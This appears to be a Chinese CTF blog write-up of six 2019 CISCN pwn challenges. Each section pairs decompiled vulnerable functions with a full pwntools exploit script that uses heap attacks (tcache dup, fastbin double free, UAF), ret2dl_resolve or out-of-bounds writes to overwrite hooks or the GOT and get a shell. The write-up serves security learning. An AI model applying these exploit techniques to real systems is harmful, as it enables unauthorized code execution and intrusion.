2019-CISCN-PWN
2019.04.24
V1NKe
 热度
℃
前言: 这次比赛难度不大,有意思的就是那道虚拟机。
正文: Virtual: 第一次遇见pwn带虚拟机的,刚开始懵逼的不知道怎么去利用,后来发现能够任意读写后一切都很明了了。从不会到会的过程着实蛮有意思。
程序的流程就是输入指令,再输入指令所需要用的数据,然后进入虚拟机一个一个执行指令,这里需要逆向的有点仔细。最后会输出栈中内容。
这里有漏洞的地方就两个指令,load和save指令:
load: 1 2 3 4 5 6 7 8 9 10 11 12 13 signed __int64 __fastcall load_asm(__int64 stack_range) { signed __int64 result; // rax __int64 v2; // [rsp+10h] [rbp-10h] if ( (unsigned int)pop_one_to_two(stack_range, &v2) ) result = pop_two_to_one( stack_range, *(_QWORD *)(*(_QWORD *)stack_range + 8 * (*(signed int *)(stack_range + 0xC) + v2))); else result = 0LL; return result; }
这个函数的功能就是先从栈中pop出一个,再将它作为index以当前栈顶为界选中index处的内容再压栈,因为index可以任意,可以正数也可以为负数,所以可以从任意地址读入内容到栈中。
save: 1 2 3 4 5 6 7 8 9 10 signed __int64 __fastcall save_asm(__int64 stack_range) { __int64 v2; // [rsp+10h] [rbp-10h] __int64 v3; // [rsp+18h] [rbp-8h] if ( !(unsigned int)pop_one_to_two(stack_range, &v2) || !(unsigned int)pop_one_to_two(stack_range, &v3) ) return 0LL; *(_QWORD *)(8 * (*(signed int *)(stack_range + 12) + v2) + *(_QWORD *)stack_range) = v3; return 1LL; }
这函数功能是从栈中pop出两个数,pop出的第一个做index,pop出的第二个做数据,以当前栈顶为界选中index处的地址,将pop出得第二个数据写入index地址处。所以就实现了任意地址写。
思路:
将0x404020
写入栈中,得到与虚拟机栈顶的偏移、index
将0x404020
处的内容(puts函数地址)读入栈中,再pop出来,泄漏得到libc
重新从1开始得到偏移,在栈中布置好one_gadget
数据和index,利用任意写将one_gadget
写入puts@got
中。
因为指令有加减乘除,所以获取index很容易,这里就说说如何得到的偏移。
从上图就可以看出来我们可以从栈中数据往上找到堆地址,只要把他读入栈中,这样就可以计算出和got表上的偏移。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * p = process('./pwn') #p = remote('a569f7135ca8ce99c68ccedd6f3a83fd.kr-lab.com',40003) elf = ELF('./pwn') libc = ELF('./libc.so') context.log_level = 'debug' p.recvuntil('Your program name:\n') p.sendline('V1NKe') p.recvuntil('Your instruction:\n') payload1 = 'push push push load push sub div load push' payload1 += ' push load sub push load push add push push load' payload1 += ' push sub div save' p.sendline(payload1) p.recvuntil('Your stack data:\n') puts_addr = libc.symbols['puts'] puts_addr = str(puts_addr) payload2 = '1 8 -5 4210720 '+puts_addr+' -1 0 987463' payload2 += ' 8 -8 4210704 ' #gdb.attach(p,'b *0x4019B7') p.sendline(payload2) p.interactive()
bms: 这题有个坑点就是需要自己先去测libc版本,常规思维会用不带tcache版本的libc去想这一道题,但是这题是带了tcache的2.26版本。用free两次看看崩不崩就能知道带不带tcache了。
漏洞点,UAF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 delete() { unsigned int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("index:"); v1 = rread(); if ( v1 > 9 ) { puts("invalid index!"); exit(0); } free(*((void **)qword_602060[v1] + 2)); //uaf return __readfsqword(0x28u) ^ v2; }
程序只有添加和删除堆两个功能,那么很容易想到用IO_File去泄漏libc。用tcache dup在bss段上的stdout处申请一个chunk,再利用其在libc上的地址去修改IO_write_base。因为连续free两次也不会崩,也不会有size检查等等。所以比fastbin attack利用简单很多。最后修改__free_hook
为one_gadget
即可。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * p = process('./pwn') #p = remote('90b826377a05d5e9508314e76f2f1e4e.kr-lab.com',40001) elf = ELF('./pwn') libc = ELF('./libc.so') context.log_level = 'debug' p.recvuntil('username:') p.sendline('admin') p.recvuntil('password:') p.sendline('frame') def create(name,size,context): p.sendlineafter('>\n','1') p.sendafter('book name:',name) p.sendlineafter('description size:',str(size)) p.sendafter('description:',context) def createe(name,size,context): p.sendlineafter('>','1') p.sendafter('book name:',name) p.sendlineafter('description size:',str(size)) p.sendafter('description:',context) def delete(index): p.sendlineafter('>\n','2') p.sendlineafter('index:',str(index)) def deletee(index): p.sendlineafter('>','2') p.sendlineafter('index:',str(index)) #tcathe attack to the IO_File create('A',0x68,'A'*0x68) delete(0) delete(0) create('A',0x68,p64(0x602020)) create('A',0x68,'A') create('A',0x68,'\x60') create('A',0x68,p64(0xfbad1800)+p64(0)*3+'\x90') #leak the libc data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4114403 system_addr = libc_base + libc.symbols['system'] free_addr = libc_base + libc.symbols['__free_hook'] log.success('libc base is :'+hex(libc_base)) #tcache attack to __free_hook createe('A',0x30,'A')#5 deletee(5) deletee(5) createe('A',0x30,p64(free_addr))#6 createe('A',0x30,'/bin/sh')#7 createe('A',0x30,p64(system_addr))#8 #trigger deletee(7) p.interactive()
daily: 这里有一个越界删除的漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 delete() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( daily_num ) { printf("Please enter the index of daily:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( *(_QWORD *)&dialy_chunk[4 * v1 + 2] ) // 未检查idx { free(*(void **)&dialy_chunk[4 * v1 + 2]); *(_QWORD *)&dialy_chunk[4 * v1 + 2] = 0LL; dialy_chunk[4 * v1] = 0; puts("remove successful!!"); --daily_num; } else { puts("invaild index"); } } else { puts("No pages in the daily"); } return __readfsqword(0x28u) ^ v3; }
删除时没有检查index是否合法,所以可以任意删除,这里的删除哪里,该如何构造是一个点。
这里删除必然是拿来越界删除堆上的chunk再view拿来泄漏libc的,那么我们改怎样得知heap基地址从而算出index呢?
那就是delete两个fast bin再create覆盖fd的低位字节,就拿到了heap基地址,这样可以越界删除small chunk拿到libc地址,之后再利用越界删除构造double free。在malloc_hook上写system。再次malloc的时候触发。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * p = process('./pwn') #p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com',58512) elf = ELF('./pwn') libc = ELF('./libc.so') context.log_level = 'debug' def create(size,context): p.recvuntil('Your choice:') p.sendline('2') p.recvuntil('Please enter the length of daily:') p.sendline(str(size)) p.recvuntil('Now you can write you daily\n') p.send(context) def show(): p.sendlineafter('Your choice:','1') def edit(index,context): p.sendlineafter('Your choice:','3') p.sendlineafter('Please enter the index of daily:',str(index)) p.sendafter('Please enter the new daily\n',context) def delete(index): p.sendlineafter('Your choice:','4') p.sendlineafter('Please enter the index of daily:',str(index)) #leak heap base create(0x60,'A') create(0x60,'A') create(0x80,'A'*0x20) create(0x20,'A'*0x20) delete(1) delete(0) create(0x60,'\x10') show() gdb.attach(p) p.recvuntil('0 : ') data = u64(p.recv(4).ljust(8,'\x00'))-0x10 log.success('heap base :'+hex(data)) idx = (data - 0x602060)/16 #leak libc edit(0,'A'*8+p64(data+0x70*2+0x10)) delete(idx+1) show() p.recvuntil('2 : ') data2 = u64(p.recv(6).ljust(8,'\x00')) - 3951480 one_addr = data2 + 0xf1147 malloc_hook = data2 + libc.symbols['__malloc_hook'] system_addr = data2 + libc.symbols['system'] log.success('malloc addr:'+hex(malloc_hook)) log.success('libc base :'+hex(data2)) #35 create(0x60,'A') edit(0,'A'*8+p64(data+0x70+0x10)) delete(idx+1) delete(0) delete(1) #double free 19 create(0x60,p64(malloc_hook-35)) create(0x60,'/bin/sh') create(0x60,'A') create(0x60,'\x00'*19+p64(system_addr)) p.sendlineafter('Your choice:','2') p.recvuntil('Please enter the length of daily:') p.send(str(data+0x10)) #gdb.attach(p) p.interactive()
Double: 看代码虽然有点繁琐,但是理清之后很清楚,在create时如果内容一样那么两次create的指针会指向同一块chunk,这就可以构造double free了。之后的利用便很简单了。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * #p = process('./pwn') p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com',40002) elf = ELF('./pwn') libc = ELF('./libc.so') context.log_level = 'debug' def create(context): p.sendlineafter('> ','1') p.sendlineafter('Your data:',context) def show(index): p.sendlineafter('> ','2') p.sendlineafter('Info index: ',str(index)) def edit(index,context): p.sendlineafter('> ','3') p.sendlineafter('Info index: ',str(index)) sleep(0.3) p.sendline(context) def delete(index): p.sendlineafter('> ','4') p.sendlineafter('Info index: ',str(index)) create('A'*0x67) create('A'*0x67) create('B'*0x80) create('B'*0x80) create('C'*0x67) create('A'*0x20) delete(2) show(3) data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 3951480 one_gadget = libc_base + 0x4526a malloc_addr = libc_base + libc.symbols['__malloc_hook'] print hex(libc_base),hex(malloc_addr) delete(0) delete(4) delete(1) create('A'*0x67) edit(6,p64(malloc_addr-35)) create('A'*0x67) create('c'*0x67) create('\x00'*0x67) edit(9,'d'*19+p64(one_gadget)) p.sendlineafter('> ','1') #gdb.attach(p) p.interactive()
baby_pwn: 常规的32位_runtime_dl_resolve
,改一改地址就好了。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * #p=process('./pwn') p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865) pop_ebp_ret=0x080485db leave_ret=0x08048448 pppr=0x080485d9 fake_stack_size=0x800 bss=0x804A068 read_plt=0x8048396 read_got=0x804A00C bss_stage=bss+fake_stack_size dynsym=0x80481DC dynstr=0x804827C plt=0x08048380 relplt=0x804833C rel_offset=bss_stage+28-relplt fake_sym_addr=bss_stage+36 align=0x10-((fake_sym_addr-dynsym)&0xf) print 'align==>'+hex(align) fake_sym_addr=fake_sym_addr+align index=(fake_sym_addr-dynsym)/0x10 print 'index==>'+hex(index) r_info=(index<<8)|0x7 print 'r_info==>'+hex(r_info) fake_raloc=p32(read_got)+p32(r_info) st_name=fake_sym_addr-dynstr+16 fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) payload='a'*44 payload+=p32(read_plt) payload+=p32(pppr) payload+=p32(0) payload+=p32(bss_stage) payload+=p32(100) payload+=p32(pop_ebp_ret) payload+=p32(bss_stage) payload+=p32(leave_ret) p.sendline(payload) binsh='/bin/sh' payload='aaaa' payload+=p32(plt) payload+=p32(rel_offset) payload+='aaaa' payload+=p32(bss_stage+80) payload+='aaaa' payload+='aaaa' payload+=fake_raloc payload+='a'*align payload+=fake_sym payload+='system\0' payload+='a'*(80-len(payload)) payload+=binsh+'\x00' payload+='a'*(100-len(payload)) p.send(payload) p.interactive()
your_pwn: 越界读写,但是只能一个字节一个字节写和一个字节一个字节读。先泄漏__libc_start_main
再在ret地址处写入one_gadget
。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * #p = process('./pwn') p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856) elf = ELF('./pwn') libc = ELF('libc.so') context.log_level = 'debug' def sr(index): p.recvuntil('input index\n') p.sendline(str(index)) p.recvuntil('now value(hex) ') return p.recvuntil('input')[-8:-6] def xsr(index): p.recvuntil('new value\n') p.sendline(str(index)) # 328 --> canary ; 632 --> libc_start_maini ; 344 --> ret p.recvuntil('name:') p.sendline('A') libc_start = '' for i in range(8): data = sr(632+i) libc_start += data+' ' data = int('0x'+data,16) xsr(data) print libc_start libc_start_addr = raw_input('input addr:') libc_start_addr = int(libc_start_addr,16)-240 libc_base = libc_start_addr - libc.symbols['__libc_start_main'] one_addr = libc_base + 0x45216 one_addr = hex(one_addr) print one_addr lili = [] for j in range(2,len(one_addr),2) : lili.append(int('0x'+one_addr[j:j+2],16)) lili = lili[::-1] lili.append(0) lili.append(0) print lili for a in range(8): data = sr(344+a) xsr(lili[a]) for b in range(25): data = sr(b) data = int('0x'+data,16) xsr(data) p.recvuntil('do you want continue(yes/no)? \n') #gdb.attach(p) p.sendline('no') p.interactive()